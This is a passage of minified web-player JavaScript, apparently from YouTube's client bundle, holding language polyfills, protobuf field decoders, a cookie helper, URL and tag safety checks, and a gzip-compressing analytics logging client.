ZC("Array.prototype.keys",function(x){return x?x:function(){return VJ(this,function(T){return T})}});
ZC("Array.prototype.values",function(x){return x?x:function(){return VJ(this,function(T,t){return t})}});
ZC("Array.prototype.fill",function(x){return x?x:function(T,t,u){var H=this.length||0;t<0&&(t=Math.max(0,H+t));if(u==null||u>H)u=H;u=Number(u);u<0&&(u=Math.max(0,H+u));for(t=Number(t||0);t<u;t++)this[t]=T;return this}});
ZC("Int8Array.prototype.fill",Gi);ZC("Uint8Array.prototype.fill",Gi);ZC("Uint8ClampedArray.prototype.fill",Gi);ZC("Int16Array.prototype.fill",Gi);ZC("Uint16Array.prototype.fill",Gi);ZC("Int32Array.prototype.fill",Gi);ZC("Uint32Array.prototype.fill",Gi);ZC("Float32Array.prototype.fill",Gi);ZC("Float64Array.prototype.fill",Gi);
ZC("Object.fromEntries",function(x){return x?x:function(T){var t={};if(!(Symbol.iterator in T))throw new TypeError(""+T+" is not iterable");T=T[Symbol.iterator].call(T);for(var u=T.next();!u.done;u=T.next()){u=u.value;if(Object(u)!==u)throw new TypeError("iterable for fromEntries should yield objects");t[u[0]]=u[1]}return t}});
ZC("String.prototype.replaceAll",function(x){return x?x:function(T,t){if(T instanceof RegExp&&!T.global)throw new TypeError("String.prototype.replaceAll called with a non-global RegExp argument.");return T instanceof RegExp?this.replace(T,t):this.replace(new RegExp(String(T).replace(/([-()\[\]{}+?*.$\^|,:#<!\\])/g,"\\$1").replace(/\x08/g,"\\x08"),"g"),t)}});
ZC("String.prototype.repeat",function(x){return x?x:function(T){var t=vX(this,null,"repeat");if(T<0||T>1342177279)throw new RangeError("Invalid count value");T|=0;for(var u="";T;)if(T&1&&(u+=t),T>>>=1)t+=t;return u}});
ZC("Promise.prototype.finally",function(x){return x?x:function(T){return this.then(function(t){return Promise.resolve(T()).then(function(){return t})},function(t){return Promise.resolve(T()).then(function(){throw t;
})})}});
ZC("String.prototype.padStart",function(x){return x?x:function(T,t){var u=vX(this,null,"padStart");T-=u.length;t=t!==void 0?String(t):" ";return(T>0&&t?t.repeat(Math.ceil(T/t.length)).substring(0,T):"")+u}});
ZC("Array.prototype.findIndex",function(x){return x?x:function(T,t){return ev4(this,T,t).J5}});
ZC("Math.sign",function(x){return x?x:function(T){T=Number(T);return T===0||isNaN(T)?T:T>0?1:-1}});
ZC("WeakSet",function(x){function T(t){this.C=new WeakMap;if(t){t=g.S(t);for(var u;!(u=t.next()).done;)this.add(u.value)}}
if(function(){if(!x||!Object.seal)return!1;try{var t=Object.seal({}),u=Object.seal({}),H=new x([t]);if(!H.has(t)||H.has(u))return!1;H.delete(t);H.add(u);return!H.has(t)&&H.has(u)}catch(I){return!1}}())return x;
T.prototype.add=function(t){this.C.set(t,!0);return this};
T.prototype.has=function(t){return this.C.has(t)};
T.prototype.delete=function(t){return this.C.delete(t)};
return T});
ZC("Array.prototype.copyWithin",function(x){function T(t){t=Number(t);return t===Infinity||t===-Infinity?t:t|0}
return x?x:function(t,u,H){var I=this.length;t=T(t);u=T(u);H=H===void 0?I:T(H);t=t<0?Math.max(I+t,0):Math.min(t,I);u=u<0?Math.max(I+u,0):Math.min(u,I);H=H<0?Math.max(I+H,0):Math.min(H,I);if(t<u)for(;u<H;)u in this?this[t++]=this[u++]:(delete this[t++],u++);else for(H=Math.min(H,I+u-t),t+=H-u;H>u;)--H in this?this[--t]=this[H]:delete this[--t];return this}});
ZC("Int8Array.prototype.copyWithin",L4);ZC("Uint8Array.prototype.copyWithin",L4);ZC("Uint8ClampedArray.prototype.copyWithin",L4);ZC("Int16Array.prototype.copyWithin",L4);ZC("Uint16Array.prototype.copyWithin",L4);ZC("Int32Array.prototype.copyWithin",L4);ZC("Uint32Array.prototype.copyWithin",L4);ZC("Float32Array.prototype.copyWithin",L4);ZC("Float64Array.prototype.copyWithin",L4);ZC("Array.prototype.at",function(x){return x?x:n4});
ZC("Int8Array.prototype.at",aV);ZC("Uint8Array.prototype.at",aV);ZC("Uint8ClampedArray.prototype.at",aV);ZC("Int16Array.prototype.at",aV);ZC("Uint16Array.prototype.at",aV);ZC("Int32Array.prototype.at",aV);ZC("Uint32Array.prototype.at",aV);ZC("Float32Array.prototype.at",aV);ZC("Float64Array.prototype.at",aV);ZC("String.prototype.at",function(x){return x?x:n4});
ZC("Array.prototype.findLastIndex",function(x){return x?x:function(T,t){return lCm(this,T,t).J5}});
ZC("Int8Array.prototype.findLastIndex",g5);ZC("Uint8Array.prototype.findLastIndex",g5);ZC("Uint8ClampedArray.prototype.findLastIndex",g5);ZC("Int16Array.prototype.findLastIndex",g5);ZC("Uint16Array.prototype.findLastIndex",g5);ZC("Int32Array.prototype.findLastIndex",g5);ZC("Uint32Array.prototype.findLastIndex",g5);ZC("Float32Array.prototype.findLastIndex",g5);ZC("Float64Array.prototype.findLastIndex",g5);ZC("Number.parseInt",function(x){return x||parseInt});var fq,OH,mf3;fq=fq||{};g.BX=this||self;OH="closure_uid_"+(Math.random()*1E9>>>0);mf3=0;g.P(ub,Error);g.W.prototype.Bf=!1;g.W.prototype.T9=function(){return this.Bf};
g.W.prototype.dispose=function(){this.Bf||(this.Bf=!0,this.oU())};
g.W.prototype[Symbol.dispose]=function(){this.dispose()};
g.W.prototype.addOnDisposeCallback=function(x,T){this.Bf?T!==void 0?x.call(T):x():(this.EL||(this.EL=[]),T&&(x=x.bind(T)),this.EL.push(x))};
g.W.prototype.oU=function(){if(this.EL)for(;this.EL.length;)this.EL.shift()()};var SHf;g.P(Zd,g.W);Zd.prototype.share=function(){if(this.T9())throw Error("E:AD");this.K++;return this};
Zd.prototype.dispose=function(){--this.K||g.W.prototype.dispose.call(this)};
SHf=Symbol.dispose;cfV.prototype.XA=function(x,T){this.C.XA("/client_streamz/bg/frs",x,T)};
YHf.prototype.XA=function(x,T,t,u,H,I){this.C.XA("/client_streamz/bg/wrl",x,T,t,u,H,I)};
UfX.prototype.C=function(x,T){this.Z.ly("/client_streamz/bg/ec",x,T)};
b44.prototype.XA=function(x,T,t,u){this.C.XA("/client_streamz/bg/el",x,T,t,u)};
rf3.prototype.C=function(x,T,t){this.Z.ly("/client_streamz/bg/cec",x,T,t)};
zvq.prototype.C=function(x,T,t){this.Z.ly("/client_streamz/bg/po/csc",x,T,t)};
kiH.prototype.C=function(x,T,t){this.Z.ly("/client_streamz/bg/po/ctav",x,T,t)};
F3i.prototype.C=function(x,T,t){this.Z.ly("/client_streamz/bg/po/cwsc",x,T,t)};g.TV(M9,Error);M9.prototype.name="CustomError";var xQH;var LU=void 0,G5,Fuv=typeof TextDecoder!=="undefined",L33,Giv=typeof String.prototype.isWellFormed==="function",Vm4=typeof TextEncoder!=="undefined";var ry=String.prototype.trim?function(x){return x.trim()}:function(x){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(x)[1]},rC3=/&/g,zt3=/</g,kH5=/>/g,FSq=/"/g,htf=/'/g,vZv=/\x00/g,b7f=/[\x00&<>"']/;var pJi=Nf(1,!0),hM=Nf(610401301,!1);Nf(899588437,!1);var OoV=Nf(725719775,!1);Nf(651175828,!1);Nf(722764542,!1);Nf(2147483644,!1);Nf(2147483645,!1);Nf(2147483646,pJi);Nf(2147483647,!0);var vE=!!g.yJ("yt.config_.EXPERIMENTS_FLAGS.html5_enable_client_hints_override");var V3,fPv=g.BX.navigator;V3=fPv?fPv.userAgentData||null:null;var fCH,ka,h2;fCH=Array.prototype.indexOf?function(x,T){return Array.prototype.indexOf.call(x,T,void 0)}:function(x,T){if(typeof x==="string")return typeof T!=="string"||T.length!=1?-1:x.indexOf(T,0);
for(var t=0;t<x.length;t++)if(t in x&&x[t]===T)return t;return-1};
g.wJ3=Array.prototype.lastIndexOf?function(x,T){return Array.prototype.lastIndexOf.call(x,T,x.length-1)}:function(x,T){var t=x.length-1;
t<0&&(t=Math.max(0,x.length+t));if(typeof x==="string")return typeof T!=="string"||T.length!=1?-1:x.lastIndexOf(T,t);for(;t>=0;t--)if(t in x&&x[t]===T)return t;return-1};
g.lg=Array.prototype.forEach?function(x,T,t){Array.prototype.forEach.call(x,T,t)}:function(x,T,t){for(var u=x.length,H=typeof x==="string"?x.split(""):x,I=0;I<u;I++)I in H&&T.call(t,H[I],I,x)};
g.ES=Array.prototype.filter?function(x,T,t){return Array.prototype.filter.call(x,T,t)}:function(x,T,t){for(var u=x.length,H=[],I=0,E=typeof x==="string"?x.split(""):x,Z=0;Z<u;Z++)if(Z in E){var e=E[Z];
T.call(t,e,Z,x)&&(H[I++]=e)}return H};
g.r7=Array.prototype.map?function(x,T,t){return Array.prototype.map.call(x,T,t)}:function(x,T,t){for(var u=x.length,H=Array(u),I=typeof x==="string"?x.split(""):x,E=0;E<u;E++)E in I&&(H[E]=T.call(t,I[E],E,x));
return H};
ka=Array.prototype.reduce?function(x,T,t){return Array.prototype.reduce.call(x,T,t)}:function(x,T,t){var u=t;
(0,g.lg)(x,function(H,I){u=T.call(void 0,u,H,I,x)});
return u};
h2=Array.prototype.some?function(x,T){return Array.prototype.some.call(x,T,void 0)}:function(x,T){for(var t=x.length,u=typeof x==="string"?x.split(""):x,H=0;H<t;H++)if(H in u&&T.call(void 0,u[H],H,x))return!0;
return!1};
g.zu=Array.prototype.every?function(x,T,t){return Array.prototype.every.call(x,T,t)}:function(x,T,t){for(var u=x.length,H=typeof x==="string"?x.split(""):x,I=0;I<u;I++)if(I in H&&!T.call(t,H[I],I,x))return!1;
return!0};dH[" "]=function(){};var jw,XZ,Oa4,KTf,XJf,xfd,U0,Tw,T53;g.bm=aP();g.jW=W3X();g.Qb=LC("Edge");g.XB=g.Qb||g.jW;jw=LC("Gecko")&&!(bb(g.FF(),"WebKit")&&!LC("Edge"))&&!(LC("Trident")||LC("MSIE"))&&!LC("Edge");g.OA=bb(g.FF(),"WebKit")&&!LC("Edge");XZ=CC();Oa4=pX5();g.Ky=QVD();KTf=N9();XJf=LC("iPad");xfd=LC("iPod");U0=JM();Tw=bb(g.FF(),"KaiOS");
a:{var oqd="",tmb=function(){var x=g.FF();if(jw)return/rv:([^\);]+)(\)|;)/.exec(x);if(g.Qb)return/Edge\/([\d\.]+)/.exec(x);if(g.jW)return/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(x);if(g.OA)return/WebKit\/(\S+)/.exec(x);if(g.bm)return/(?:Version)[ \/]?(\S+)/.exec(x)}();
tmb&&(oqd=tmb?tmb[1]:"");if(g.jW){var XL,sVE=g.BX.document;XL=sVE?sVE.documentMode:void 0;if(XL!=null&&XL>parseFloat(oqd)){T53=String(XL);break a}}T53=oqd}var iC5=T53,$9J={};var Or,fy;g.WT=BE();Or=N9()||LC("iPod");fy=LC("iPad");g.rs=yf4();g.vU=WE();g.M4=Dd()&&!JM();var E9i={},SQ=null,qh3=jw||g.OA||typeof g.BX.btoa=="function";var Rb3=typeof Uint8Array!=="undefined",eb5=!g.jW&&typeof btoa==="function",M0C=/[-_.]/g,m93={"-":"+",_:"/",".":"="},Uy={};Yu.prototype.isEmpty=function(){return this.C==null};
Yu.prototype.sizeBytes=function(){var x=rH(this);return x?x.length:0};
var Shm;var Yhf=void 0;var vI=typeof Symbol==="function"&&typeof Symbol()==="symbol",uDb=hm("jas",void 0,!0),sB=hm(void 0,"1oa"),Jm=hm(void 0,Symbol()),lwX=hm(void 0,"0actk"),OCv=hm(void 0,"8utk");Math.max.apply(Math,g.U(Object.values({qGY:1,c7y:2,Biy:4,hGm:8,TPY:16,lNG:32,GCc:64,vK9:128,pDU:256,mb7:512,nXU:1024,VUu:2048,BE9:4096,awu:8192})));var VE=vI?uDb:"Fu7",bCf={Fu7:{value:0,configurable:!0,writable:!0,enumerable:!1}},U93=Object.defineProperties;var bV={},p7,$fM=[];LA($fM,55);p7=Object.freeze($fM);var RYH=Object.freeze({});var FdX=pA(function(x){return typeof x==="number"}),kVD=pA(function(x){return typeof x==="string"}),hbJ=pA(function(x){return typeof x==="boolean"}),Ek=pA(function(x){return x!=null&&typeof x==="object"&&typeof x.then==="function"}),Ia=pA(function(x){return!!x&&(typeof x==="object"||typeof x==="function")});var Oy=typeof g.BX.BigInt==="function"&&typeof g.BX.BigInt(0)==="bigint";var Sz=pA(function(x){return Oy?x>=H4C&&x<=i40:x[0]==="-"?v9q(x,ICF):v9q(x,EqF)}),ICF=Number.MIN_SAFE_INTEGER.toString(),H4C=Oy?BigInt(Number.MIN_SAFE_INTEGER):void 0,EqF=Number.MAX_SAFE_INTEGER.toString(),i40=Oy?BigInt(Number.MAX_SAFE_INTEGER):void 0;var bAV=typeof Uint8Array.prototype.slice==="function",wH=0,Xo=0,x55;var mS=typeof BigInt==="function"?BigInt.asIntN:void 0,QP3=typeof BigInt==="function"?BigInt.asUintN:void 0,AC=Number.isSafeInteger,Iy=Number.isFinite,M5=Math.trunc,adC=/^-?([1-9][0-9]*|0)(\.[0-9]+)?$/;var kZ;var vB,ZAD;g.q=Yyf.prototype;g.q.init=function(x,T,t,u){u=u===void 0?{}:u;this.mF=u.mF===void 0?!1:u.mF;x&&(x=Sg(x),this.Z=x.buffer,this.T=x.T$,this.K=T||0,this.j=t!==void 0?this.K+t:this.Z.length,this.C=this.K)};
g.q.free=function(){this.clear();F6.length<100&&F6.push(this)};
g.q.clear=function(){this.Z=null;this.T=!1;this.C=this.j=this.K=0;this.mF=!1};
g.q.reset=function(){this.C=this.K};
g.q.IW=function(){var x=this.D;x||(x=this.Z,x=this.D=new DataView(x.buffer,x.byteOffset,x.byteLength));return x};
var F6=[];hZ.prototype.free=function(){this.C.clear();this.Z=this.K=-1;x0.length<100&&x0.push(this)};
hZ.prototype.reset=function(){this.C.reset();this.j=this.C.C;this.Z=this.K=-1};
var x0=[];g.q=ag.prototype;g.q.toJSON=function(){return FV(this)};
g.q.vM=function(x){return JSON.stringify(FV(this,x))};
g.q.clone=function(){var x=this.Ue;return new this.constructor(L7(x,x[VE]|0,!1))};
g.q.T$=function(){return!!((this.Ue[VE]|0)&2)};
g.q.Qq=bV;g.q.toString=function(){return this.Ue.toString()};var VQX,LuC;WP.prototype.length=function(){return this.C.length};
WP.prototype.end=function(){var x=this.C;this.C=[];return x};var OB=pU(),qHd=pU(),Z4b=pU(),jVd=pU(),evC=pU(),lC0=pU(),mfd=pU(),df9=pU();var Jm3=w9(function(x,T,t,u,H){if(x.Z!==2)return!1;Vj(x,uX(T,u,t),H);return!0},NHV),Cg4=w9(function(x,T,t,u,H){if(x.Z!==2)return!1;
Vj(x,uX(T,u,t),H);return!0},NHV),$N=Symbol(),oI=Symbol(),pIq=Symbol(),wIC=Symbol(),KU,X6;var MmP=II(function(x,T,t){if(x.Z!==1)return!1;qX(T,t,z5(x.C));return!0},ZZ,mfd),Afd=II(function(x,T,t){if(x.Z!==1)return!1;
x=z5(x.C);qX(T,t,x===0?void 0:x);return!0},ZZ,mfd),RvE=II(function(x,T,t,u){if(x.Z!==1)return!1;
og(T,t,u,z5(x.C));return!0},ZZ,mfd),P3d=II(function(x,T,t){if(x.Z!==0)return!1;
qX(T,t,Y1(x.C));return!0},j7,evC),SH9=II(function(x,T,t){if(x.Z!==0)return!1;
x=Y1(x.C);qX(T,t,x===0?void 0:x);return!0},j7,evC),cfP=II(function(x,T,t,u){if(x.Z!==0)return!1;
og(T,t,u,Y1(x.C));return!0},j7,evC),YH9=II(function(x,T,t){if(x.Z!==0)return!1;
qX(T,t,UB(x.C));return!0},e7,jVd),UfE=II(function(x,T,t){if(x.Z!==0)return!1;
x=UB(x.C);qX(T,t,x===0?void 0:x);return!0},e7,jVd),b4C=II(function(x,T,t,u){if(x.Z!==0)return!1;
og(T,t,u,UB(x.C));return!0},e7,jVd),rfb=II(function(x,T,t){if(x.Z!==1)return!1;
qX(T,t,r9(x.C));return!0},function(x,T,t){Dvf(x,t,pEV(T))},lC0),zv9=Eb(function(x,T,t){if(x.Z!==1&&x.Z!==2)return!1;
T=wn(T,T[VE]|0,t,!1);if(x.Z==2)for(t=UB(x.C)>>>0,t=x.C.C+t;x.C.C<t;)T.push(r9(x.C));else T.push(r9(x.C));return!0},function(x,T,t){T=iW(pEV,T,!1);
if(T!=null)for(var u=0;u<T.length;u++)Dvf(x,t,T[u])},lC0),kih=II(function(x,T,t){if(x.Z!==0)return!1;
qX(T,t,k1(x.C));return!0},Tnf,qHd),F3V=II(function(x,T,t,u){if(x.Z!==0)return!1;
og(T,t,u,k1(x.C));return!0},Tnf,qHd),TC=II(function(x,T,t){if(x.Z!==2)return!1;
qX(T,t,nU(x));return!0},oZD,Z4b),hvy=Eb(function(x,T,t){if(x.Z!==2)return!1;
x=nU(x);wn(T,T[VE]|0,t,!1).push(x);return!0},function(x,T,t){T=iW(YZ,T,!0);
if(T!=null)for(var u=0;u<T.length;u++){var H=x,I=t,E=T[u];E!=null&&Qj(H,I,nqv(E))}},Z4b),vqC=II(function(x,T,t,u){if(x.Z!==2)return!1;
og(T,t,u,nU(x));return!0},oZD,Z4b),oW,tu=void 0;
tu=tu===void 0?OB:tu;oW=new fU(function(x,T,t,u,H){if(x.Z!==2)return!1;u=GH(void 0,u,!0);wn(T,T[VE]|0,t,!0).push(u);Vj(x,u,H);return!0},function(x,T,t,u,H){if(Array.isArray(T))for(var I=0;I<T.length;I++)tz4(x,T[I],t,u,H)},tu);
var s_=w9(function(x,T,t,u,H,I){if(x.Z!==2)return!1;x1(T,T[VE]|0,I,t);T=uX(T,u,t);Vj(x,T,H);return!0},tz4),VmC=II(function(x,T,t){if(x.Z!==2)return!1;
qX(T,t,hYX(x));return!0},function(x,T,t){T=fdi(T);
T!=null&&Qj(x,t,Sg(T).buffer)},df9),Gib=Eb(function(x,T,t){if(x.Z!==2)return!1;
x=hYX(x);wn(T,T[VE]|0,t,!1).push(x);return!0},function(x,T,t){T=iW(fdi,T,!1);
if(T!=null)for(var u=0;u<T.length;u++){var H=x,I=t,E=T[u];E!=null&&Qj(H,I,Sg(E).buffer)}},df9),ul=II(function(x,T,t){if(x.Z!==0)return!1;
qX(T,t,UB(x.C)>>>0);return!0},function(x,T,t){T=ez(T);
T!=null&&T!=null&&(CU(x,t,0),yj(x.C,T))},pU()),L3b=II(function(x,T,t){if(x.Z!==0)return!1;
qX(T,t,UB(x.C));return!0},function(x,T,t){T=ZS(T);
T!=null&&(T=parseInt(T,10),CU(x,t,0),aw3(x.C,T))},pU());g.P(uV5,ag);g.P(m$,ag);var Px=[1,2,3];var nqb=[0,Px,vqC,b4C,F3V];var aC3=[0,oW,[0,MmP,P3d]];g.P(dE,ag);var RI=[1,2,3];var gqE=[0,RI,cfP,RvE,s_,aC3];g.P(MX,ag);var B5d=[0,oW,nqb,gqE];var W3E=[0,[1,2,3],s_,[0,TC,-1,kih],s_,[0,TC,-1,YH9,kih],s_,[0,TC]];g.P(AG,ag);AG.prototype.LN=function(){var x=Qd(this,3,YZ,3,!0);Nv(x);return x[void 0]};AG.prototype.C=sy5([0,TC,W3E,hvy,oW,B5d,rfb,zv9]);g.P(H7J,ag);var m5J=globalThis.trustedTypes,S7;YN.prototype.toString=function(){return this.C+""};rE.prototype.toString=function(){return this.C};
var ACm=new rE("about:invalid#zClosurez");var $sV=Fq("tel"),s5m=Fq("sms"),Mzf=[Fq("data"),Fq("http"),Fq("https"),Fq("mailto"),Fq("ftp"),new kN(function(x){return/^[^:]*([/?#]|$)/.test(x)})],RtD=/^\s*(?!javascript:)(?:[\w+.-]+:|[^:/?#]*(?:[/?#]|$))/i;G1.prototype.toString=function(){return this.C+""};Bx.prototype.toString=function(){return this.C+""};NX.prototype.toString=function(){return this.C};var Cd={};g.Dfd=String.prototype.repeat?function(x,T){return x.repeat(T)}:function(x,T){return Array(T+1).join(x)};g.q=T0.prototype;g.q.isEnabled=function(){if(!g.BX.navigator.cookieEnabled)return!1;if(!this.isEmpty())return!0;this.set("TESTCOOKIESENABLED","1",{X4:60});if(this.get("TESTCOOKIESENABLED")!=="1")return!1;this.remove("TESTCOOKIESENABLED");return!0};
g.q.set=function(x,T,t){var u=!1;if(typeof t==="object"){var H=t.foQ;u=t.secure||!1;var I=t.domain||void 0;var E=t.path||void 0;var Z=t.X4}if(/[;=\s]/.test(x))throw Error('Invalid cookie name "'+x+'"');if(/[;\r\n]/.test(T))throw Error('Invalid cookie value "'+T+'"');Z===void 0&&(Z=-1);t=I?";domain="+I:"";E=E?";path="+E:"";u=u?";secure":"";Z=Z<0?"":Z==0?";expires="+(new Date(1970,1,1)).toUTCString():";expires="+(new Date(Date.now()+Z*1E3)).toUTCString();this.C.cookie=x+"="+T+t+E+Z+u+(H!=null?";samesite="+
H:"")};
g.q.get=function(x,T){for(var t=x+"=",u=(this.C.cookie||"").split(";"),H=0,I;H<u.length;H++){I=ry(u[H]);if(I.lastIndexOf(t,0)==0)return I.slice(t.length);if(I==x)return""}return T};
g.q.remove=function(x,T,t){var u=this.get(x)!==void 0;this.set(x,"",{X4:0,path:T,domain:t});return u};
g.q.iy=function(){return oL(this).keys};
g.q.FF=function(){return oL(this).values};
g.q.isEmpty=function(){return!this.C.cookie};
g.q.clear=function(){for(var x=oL(this).keys,T=x.length-1;T>=0;T--)this.remove(x[T])};
var G9=new T0(typeof document=="undefined"?null:document);tq.prototype.compress=function(x){var T,t,u,H;return g.G(function(I){switch(I.C){case 1:return T=new CompressionStream("gzip"),t=(new Response(T.readable)).arrayBuffer(),u=T.writable.getWriter(),g.v(I,u.write((new TextEncoder).encode(x)),2);case 2:return g.v(I,u.close(),3);case 3:return H=Uint8Array,g.v(I,t,4);case 4:return I.return(new H(I.Z))}})};
tq.prototype.isSupported=function(x){return x<1024?!1:typeof CompressionStream!=="undefined"};g.P(sA,ag);uu.prototype.setInterval=function(x){this.intervalMs=x;this.iI&&this.enabled?(this.stop(),this.start()):this.iI&&this.stop()};
uu.prototype.start=function(){var x=this;this.enabled=!0;this.iI||(this.iI=setTimeout(function(){x.tick()},this.intervalMs),this.Z=this.C())};
uu.prototype.stop=function(){this.enabled=!1;this.iI&&(clearTimeout(this.iI),this.iI=void 0)};
uu.prototype.tick=function(){var x=this;if(this.enabled){var T=Math.max(this.C()-this.Z,0);T<this.intervalMs*.8?this.iI=setTimeout(function(){x.tick()},this.intervalMs-T):(this.iI&&(clearTimeout(this.iI),this.iI=void 0),this.callback(),this.enabled&&(this.stop(),this.start()))}else this.iI=void 0};g.P($O,ag);g.P(HR,ag);g.q=g.jo.prototype;g.q.clone=function(){return new g.jo(this.x,this.y)};
g.q.RH=function(x){return x instanceof g.jo&&eo(this,x)};
g.q.ceil=function(){this.x=Math.ceil(this.x);this.y=Math.ceil(this.y);return this};
g.q.floor=function(){this.x=Math.floor(this.x);this.y=Math.floor(this.y);return this};
g.q.round=function(){this.x=Math.round(this.x);this.y=Math.round(this.y);return this};
g.q.scale=function(x,T){this.x*=x;this.y*=typeof T==="number"?T:x;return this};g.q=g.lu.prototype;g.q.clone=function(){return new g.lu(this.width,this.height)};
g.q.aspectRatio=function(){return this.width/this.height};
g.q.isEmpty=function(){return!dg(this)};
g.q.ceil=function(){this.width=Math.ceil(this.width);this.height=Math.ceil(this.height);return this};
g.q.floor=function(){this.width=Math.floor(this.width);this.height=Math.floor(this.height);return this};
g.q.round=function(){this.width=Math.round(this.width);this.height=Math.round(this.height);return this};
g.q.scale=function(x,T){this.width*=x;this.height*=typeof T==="number"?T:x;return this};var JCD="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");LI.prototype.toString=function(){return this.C};
var G0={};new LI(G0,"");var Qym=/^[a-z][a-z\d-]*$/i,pB3="APPLET BASE EMBED IFRAME LINK MATH META OBJECT SCRIPT STYLE SVG TEMPLATE".split(" "),fSC="AREA BR COL COMMAND HR IMG INPUT KEYGEN PARAM SOURCE TRACK WBR".split(" "),KSC=["action","formaction","href"];var T9H={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"colSpan",frameborder:"frameBorder",height:"height",maxlength:"maxLength",nonce:"nonce",role:"role",rowspan:"rowSpan",type:"type",usemap:"useMap",valign:"vAlign",width:"width"};g.q=aL.prototype;g.q.yA=function(x){return WR(this.C,x)};
g.q.getElementsByTagName=function(x,T){return(T||this.C).getElementsByTagName(String(x))};
g.q.Um=function(x){return g.Q9(x,this.C)};
g.q.setProperties=pI;g.q.createElement=function(x){return wg(this.C,x)};
g.q.appendChild=g.TA;g.q.append=function(x,T){u63(gg(x),x,arguments,1)};
g.q.canHaveChildren=function(x){if(x.nodeType!=1)return!1;switch(x.tagName){case "APPLET":case "AREA":case "BASE":case "BR":case "COL":case "COMMAND":case "EMBED":case "FRAME":case "HR":case "IMG":case "INPUT":case "IFRAME":case "ISINDEX":case "KEYGEN":case "LINK":case "NOFRAMES":case "NOSCRIPT":case "META":case "OBJECT":case "PARAM":case "SCRIPT":case "SOURCE":case "STYLE":case "TRACK":case "WBR":return!1}return!0};
g.q.removeNode=g.sm;g.q.getChildren=function(x){return x.children!=void 0?x.children:Array.prototype.filter.call(x.childNodes,function(T){return T.nodeType==1})};
g.q.contains=g.ux;g.P(I0,ag);I0.prototype.lS=function(){return lX(this,1)};g.P(Em,ag);g.P(qL,ag);g.P(ZY,ag);var IIi=["platform","platformVersion","architecture","model","uaFullVersion"],eM=new qL,jM=null;g.P(lx,ag);g.P(qBf,ag);g.P(m7,ag);g.P(dv,ag);dv.prototype.B=function(){return $1(this,qBf,7)!==void 0};
dv.prototype.Tj=function(){return HP(this,sA,16)};g.P(ML,ag);ML.prototype.x_=function(x){return AZ(this,2,x)};R0.prototype.x_=function(x){this.C.x_(x);return this};
R0.prototype.build=function(x,T,t,u,H,I){T=T===void 0?0:T;t=t===void 0?0:t;u=u===void 0?null:u;H=H===void 0?0:H;I=I===void 0?0:I;var E=HP(this.C,lx,1);if($1(E,ZY,11)!==void 0){E=PQ(this);var Z=new I0;Z=AZ(Z,1,this.Z);Z=WB(Z,2,iV(this.isFinal));t=WB(Z,3,q5(t>0?t:void 0));t=WB(t,4,q5(H>0?H:void 0));t=WB(t,5,q5(I>0?I:void 0));H=t.Ue;I=H[VE]|0;t=I&2?t:new t.constructor(L7(H,I,!0));iX(E,I0,10,t)}E=this.C.clone();t=Date.now().toString();E=WB(E,4,PB(t));x=EB(E,dv,3,x.slice());u&&(E=new $O,u=WB(E,13,q5(u)),
E=new HR,u=iX(E,$O,2,u),E=new m7,u=iX(E,HR,1,u),u=AZ(u,2,9),iX(x,m7,18,u));T&&mv(x,14,T);return x};var Vgf=function(){if(!g.BX.addEventListener||!Object.defineProperty)return!1;var x=!1,T=Object.defineProperty({},"passive",{get:function(){x=!0}});
try{var t=function(){};
g.BX.addEventListener("test",t,T);g.BX.removeEventListener("test",t,T)}catch(u){}return x}();var z8q=lIi("AnimationEnd"),Il=lIi("TransitionEnd");g.SM.prototype.Z=0;g.SM.prototype.reset=function(){this.C=this.j=this.K;this.Z=0};
g.SM.prototype.getValue=function(){return this.j};g.P(mQ3,ag);var yfC=lW(mQ3);g.P(dQX,ag);var $0=new function(){this.C=dQX;this.isRepeated=0;this.Z=HP;this.defaultValue=void 0};g.P(Um,g.W);g.q=Um.prototype;g.q.oU=function(){this.cL();this.Z.stop();this.Om.stop();g.W.prototype.oU.call(this)};
g.q.dispatch=function(x){if(x instanceof dv)this.log(x);else try{var T=new dv,t=x.vM();var u=d9(T,8,t);this.log(u)}catch(H){}};
g.q.log=function(x){if(this.hQ){x=x.clone();var T=this.G9++;x=mv(x,21,T);this.componentId&&d9(x,26,this.componentId);T=x;if(Pg3(T)==null){var t=Date.now();t=Number.isFinite(t)?t.toString():"0";WB(T,1,PB(t))}JMq(gn(T,15))!=null||mv(T,15,(new Date).getTimezoneOffset()*60);this.experimentIds&&(t=this.experimentIds.clone(),iX(T,sA,16,t));T=this.C.length-1E3+1;T>0&&(this.C.splice(0,T),this.K+=T);this.C.push(x);this.Zz||this.Z.enabled||this.Z.start()}};
g.q.flush=function(x,T){var t=this;if(this.C.length===0)x&&x();else if(this.Hv&&this.S)this.j.Z=3,SBq(this);else{var u=Date.now();if(this.nf>u&&this.uG<u)T&&T("throttled");else{this.network&&(typeof this.network.lS==="function"?jgD(this.j,this.network.lS()):this.j.Z=0);var H=this.j.build(this.C,this.K,this.D,this.M2,this.jY,this.ZZ),I=this.Wl();if(I&&this.QU===I)T&&T("stale-auth-token");else{this.C=[];this.Z.enabled&&this.Z.stop();this.K=0;u=H.vM();var E;this.N&&this.N.isSupported(u.length)&&(E=this.N.compress(u));
var Z=RGm(this,u,I),e=function(d){t.T.reset();t.Z.setInterval(t.T.getValue());if(d){var M=null;try{var A=JSON.stringify(JSON.parse(d.replace(")]}'\n","")));M=yfC(A)}catch(b){}if(M){d=Number;var R="-1";R=R===void 0?"0":R;var Y;A=(Y=Pg3(M))!=null?Y:R;Y=d(A);Y>0&&(t.uG=Date.now(),t.nf=t.uG+Y);M=$0.C?$0.Z(M,$0.C,175237375):$0.Z(M,175237375,null);if(M=M===null?void 0:M)M=ib(M,1,-1),M!==-1&&(t.T=new g.SM(M<1?1:M,3E5,.1),t.Z.setInterval(t.T.getValue()))}}x&&x();t.D=0},l=function(d,M){var A=$9(H,dv,3);
var R;var Y=(R=JMq(gn(H,14)))!=null?R:void 0;g.cQ(t.T);t.Z.setInterval(t.T.getValue());d===401&&I&&(t.QU=I);Y&&(t.K+=Y);M===void 0&&(M=t.isRetryable(d));M&&(t.C=A.concat(t.C),t.Zz||t.Z.enabled||t.Z.start());T&&T("net-send-failed",d);++t.D},m=function(){t.network&&t.network.send(Z,e,l)};
E?E.then(function(d){Z.requestHeaders["Content-Encoding"]="gzip";Z.requestHeaders["Content-Type"]="application/binary";Z.body=d;Z.RR=2;m()},function(){m()}):m()}}}};
